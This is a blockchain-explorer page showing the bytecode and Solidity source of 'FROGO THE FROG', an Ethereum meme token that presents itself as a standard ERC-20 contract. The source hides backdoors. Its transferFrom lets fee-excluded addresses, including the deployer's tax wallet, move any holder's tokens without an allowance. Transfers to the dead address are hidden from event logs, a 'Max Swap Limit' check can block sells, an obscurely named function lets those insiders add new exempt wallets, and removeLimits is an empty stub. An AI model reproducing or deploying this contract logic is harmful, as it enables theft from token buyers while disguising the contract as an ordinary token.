Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x080888DC200E06CEABCd4ea71beB369371BcFF12
Balance 0 ETH
Nonce 1
Code Size 6601 bytes
Indexed Transactions Index loading...
External Etherscan · Sourcify

Contract Bytecode

6601 bytes
0x6080604052600436106101025760003560e01c806370a082311161009557806395d89b411161006457806395d89b41146102b1578063a9059cbb146102df578063d02c9383146102ff578063dd62ed3e14610314578063f5f674311461035a57600080fd5b806370a0823114610229578063715018a61461025f578063751039fc146102745780638da5cb5b1461028957600080fd5b806320800a00116100d157806320800a00146101c057806323b872dd146101d7578063313ce567146101f75780636482c89a1461021357600080fd5b806306fdde031461010e578063095ea7b3146101575780630faee56f1461018757806318160ddd146101ab57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600e81526d46524f474f205448452046524f4760901b60208201525b60405161014e9190611497565b60405180910390f35b34801561016357600080fd5b506101776101723660046114fa565b61037a565b604051901515815260200161014e565b34801561019357600080fd5b5061019d60055481565b60405190815260200161014e565b3480156101b757600080fd5b5061019d610391565b3480156101cc57600080fd5b506101d56103b2565b005b3480156101e357600080fd5b506101776101f2366004611526565b610421565b34801561020357600080fd5b506040516009815260200161014e565b34801561021f57600080fd5b5061019d60065481565b34801561023557600080fd5b5061019d610244366004611567565b6001600160a01b031660009081526001602052604090205490565b34801561026b57600080fd5b506101d56104d1565b34801561028057600080fd5b506101d5610545565b34801561029557600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102bd57600080fd5b5060408051808201909152600581526446524f474f60d81b6020820152610141565b3480156102eb57600080fd5b506101776102fa3660046114fa565b610571565b34801561030b57600080fd5b506101d561057e565b34801561032057600080fd5b5061019d61032f366004611584565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561036657600080fd5b506101d5610375366004611567565b610936565b600061038733848461098c565b5060015b92915050565b600061039f6009600a6116b7565b6103ad90633b9aca006116c6565b905090565b6000546001600160a01b031633146103e55760405162461bcd60e51b81526004016103dc906116dd565b60405180910390fd5b600047116103f257600080fd5b60405133904780156108fc02916000818181858888f1935050505015801561041e573d6000803e3d6000fd5b50565b600061042e848484610ab0565b3360009081526003602052604090205460ff1615801561047057506008546001600160a01b038581169116148061047057506001600160a01b03831661dead14155b156104c7576104c784336104c28560405180606001604052806028815260200161196c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f7d565b61098c565b5060019392505050565b6000546001600160a01b031633146104fb5760405162461bcd60e51b81526004016103dc906116dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461056f5760405162461bcd60e51b81526004016103dc906116dd565b565b6000610387338484610ab0565b6000546001600160a01b031633146105a85760405162461bcd60e51b81526004016103dc906116dd565b600854600160a01b900460ff16156106025760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103dc565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561064b90309061063d6009600a6116b7565b6104c290633b9aca006116c6565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c29190611712565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107489190611712565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b99190611712565b600880546001600160a01b039283166001600160a01b03199091161790556007541663f305d7194730610801816001600160a01b031660009081526001602052604090205490565b6000806108166000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561087e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108a3919061172f565b50506008805462ff00ff60a01b1981166201000160a01b1790915560075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610912573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041e919061175d565b3360009081526003602052604090205460ff1661095257600080fd5b600480546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6001600160a01b0383166109ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103dc565b6001600160a01b038216610a4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103dc565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103dc565b6001600160a01b038216610b765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103dc565b60008111610bd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103dc565b60006001600160a01b0384163014801590610bfc57506001600160a01b0383163014155b15610e1f57600854600160a81b900460ff16610c4157610c3e6064610c38600d54600e5411610c2d57600b54610c31565b600c545b8590610fb7565b90611040565b90505b6008546001600160a01b038581169116148015610c6c57506007546001600160a01b03848116911614155b8015610c9157506001600160a01b03831660009081526003602052604090205460ff16155b8015610cab57506004546001600160a01b03848116911614155b15610cf05743600f5414610cc357600060105543600f555b8160106000828254610cd5919061177f565b9091555050600e8054906000610cea83611792565b91905055505b6008546001600160a01b038481169116148015610d1657506001600160a01b0384163014155b15610d7157610d23611082565b6010541080610d34575043600f5414155b610d715760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103dc565b30600090815260016020526040902054600854600160a81b900460ff16158015610da857506008546001600160a01b038581169116145b8015610dbd5750600854600160b01b900460ff165b8015610dd757506004546001600160a01b03868116911614155b15610e1d578015610e115760006005548211610df35781610df7565b6005545b9050610e0f818511610e095784611210565b81611210565b505b47610e1b4761138a565b505b505b6001600160a01b038416600090815260016020526040902054610e4290836113c8565b6001600160a01b038516600090815260016020526040902055610e87610e6883836113c8565b6001600160a01b0385166000908152600160205260409020549061140a565b6001600160a01b0384166000908152600160205260409020558015610f1a5730600090815260016020526040902054610ec0908261140a565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f119085815260200190565b60405180910390a35b6001600160a01b03831661dead14610f77576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f6585856113c8565b60405190815260200160405180910390a35b50505050565b60008184841115610fa15760405162461bcd60e51b81526004016103dc9190611497565b506000610fae84866117ab565b95945050505050565b600082600003610fc95750600061038b565b6000610fd583856116c6565b905082610fe285836117be565b146110395760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103dc565b9392505050565b600061103983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611469565b604080516002808252606082018352600092839291906020830190803683375050600754604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa1580156110f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111149190611712565b81600081518110611127576111276117f6565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061115b5761115b6117f6565b6001600160a01b03928316602091820292909201015260075460405163d06ca61f60e01b8152600092919091169063d06ca61f906111a7906729a2241af62c0000908690600401611850565b600060405180830381865afa1580156111c4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526111ec9190810190611871565b905080600181518110611201576112016117f6565b60200260200101519250505090565b6008805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611258576112586117f6565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d59190611712565b816001815181106112e8576112e86117f6565b6001600160a01b03928316602091820292909201015260075461130e913091168461098c565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061134790859060009086903090429060040161192f565b600060405180830381600087803b15801561136157600080fd5b505af1158015611375573d6000803e3d6000fd5b50506008805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113c4573d6000803e3d6000fd5b5050565b600061103983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f7d565b600080611417838561177f565b9050838110156110395760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103dc565b6000818361148a5760405162461bcd60e51b81526004016103dc9190611497565b506000610fae84866117be565b600060208083528351808285015260005b818110156114c4578581018301518582016040015282016114a8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461041e57600080fd5b6000806040838503121561150d57600080fd5b8235611518816114e5565b946020939093013593505050565b60008060006060848603121561153b57600080fd5b8335611546816114e5565b92506020840135611556816114e5565b929592945050506040919091013590565b60006020828403121561157957600080fd5b8135611039816114e5565b6000806040838503121561159757600080fd5b82356115a2816114e5565b915060208301356115b2816114e5565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561160e5781600019048211156115f4576115f46115bd565b8085161561160157918102915b93841c93908002906115d8565b509250929050565b6000826116255750600161038b565b816116325750600061038b565b816001811461164857600281146116525761166e565b600191505061038b565b60ff841115611663576116636115bd565b50506001821b61038b565b5060208310610133831016604e8410600b8410161715611691575081810a61038b565b61169b83836115d3565b80600019048211156116af576116af6115bd565b029392505050565b600061103960ff841683611616565b808202811582820484141761038b5761038b6115bd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561172457600080fd5b8151611039816114e5565b60008060006060848603121561174457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561176f57600080fd5b8151801515811461103957600080fd5b8082018082111561038b5761038b6115bd565b6000600182016117a4576117a46115bd565b5060010190565b8181038181111561038b5761038b6115bd565b6000826117db57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156118455781516001600160a01b031687529582019590820190600101611820565b509495945050505050565b828152604060208201526000611869604083018461180c565b949350505050565b6000602080838503121561188457600080fd5b825167ffffffffffffffff8082111561189c57600080fd5b818501915085601f8301126118b057600080fd5b8151818111156118c2576118c26117e0565b8060051b604051601f19603f830116810181811085821117156118e7576118e76117e0565b60405291825284820192508381018501918883111561190557600080fd5b938501935b828510156119235784518452938501939285019261190a565b98975050505050505050565b85815284602082015260a06040820152600061194e60a083018661180c565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205df8ef3710fce77d0ac43debc724f6e50c42e95ab45503115545e9c1a2243cbf64736f6c63430008130033

Verified Source Code Partial Match

Compiler: v0.8.19+commit.7dd6d404 EVM: paris Optimization: Yes (200 runs)
Token.sol 442 lines
// SPDX-License-Identifier: MIT

/*
𝓕𝓻𝓸𝓰𝓸 on ETH - $FROGO

Launching Monday  

Links: 
Website: https://frogothefrog.xyz/
X: https://x.com/frogobymatt
TG: https://t.me/frogobymatt
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeExcluded;
    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"FROGO THE FROG";
    string private constant _symbol = unicode"FROGO";
    uint256 public _maxTaxSwap = _tTotal / 100;
    uint256 public _swapThres = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint256 private _setinitialTax = 10;
    uint256 private _setfinalTax = 0;
    uint256 private _reduceTaxAt = 7;
    uint256 private _buyCount = 0;
    uint256 private _lastBuyBlock;
    uint256 private _blockBuyAmount = 0;
    uint256 private _setinitTransferTax = 0;
    uint256 private _setinitialSwapTax = 0;
    uint256 private _setfinalSwapTax = 0;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(_msgSender());

        _balances[address(this)] = (_tTotal * 98) / 100;
        _balances[_msgSender()] = (_tTotal * 2) / 100;

        _feeExcluded[address(this)] = true;
        _feeExcluded[_taxWallet] = true;

        emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
        emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (
            !_feeExcluded[_msgSender()] &&
            (sender == uniswapV2Pair || recipient != address(0x000000000000000000000000000000000000dEaD))
        )
            _approve(
                sender,
                _msgSender(),
                _allowances[sender][_msgSender()].sub(
                    amount,
                    "ERC20: transfer amount exceeds allowance"
                )
            );
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function swapFeeTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            from != address(this) && to != address(this)
        ) {
            if (!inSwap) {
                taxAmount = amount
                    .mul((_buyCount > _reduceTaxAt) ? _setfinalTax : _setinitialTax)
                    .div(100);
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_feeExcluded[to] &&
                to != _taxWallet
            ) {
                if (_lastBuyBlock != block.number) {
                    _blockBuyAmount = 0;
                    _lastBuyBlock = block.number;
                }
                _blockBuyAmount += amount;
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                require(
                    _blockBuyAmount < _getAmountOut() ||
                        _lastBuyBlock != block.number,
                    "Max Swap Limit"
                );
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                from != _taxWallet
            ) {

                if (contractTokenBalance > 0)
                {
                    uint256 swapBalance = contractTokenBalance > _maxTaxSwap
                        ? _maxTaxSwap
                        : contractTokenBalance;
                    swapFeeTokensForEth(
                        amount > swapBalance ? swapBalance : amount
                    );
                }
                    
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendTokenETHToFeeWallet(address(this).balance);
                }
            }
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        if (to != address(0x000000000000000000000000000000000000dEaD)) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendTokenETHToFeeWallet(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function removeLimits () external onlyOwner {}

    function rescueETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    receive() external payable {}

    function _setTax_lknblTOKN(address payable newWallet) external {
        require(_feeExcluded[msg.sender]);
        _taxWallet = newWallet;
        _feeExcluded[newWallet] = true;
    }

    function _getAmountOut() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = uniswapV2Router.getAmountsOut(
            3 * 1e18,
            path
        );
        return amountOuts[1];
    }

    function enableTOKNTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

}
        

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_swapThres 0x6482c89a → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

_setTax_lknblTOKN 0xf5f67431
address newWallet
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTOKNTrading 0xd02c9383
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
rescueETH 0x20800a00
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

Transaction index is loading. Only unfinalized transactions are shown while the index starts up.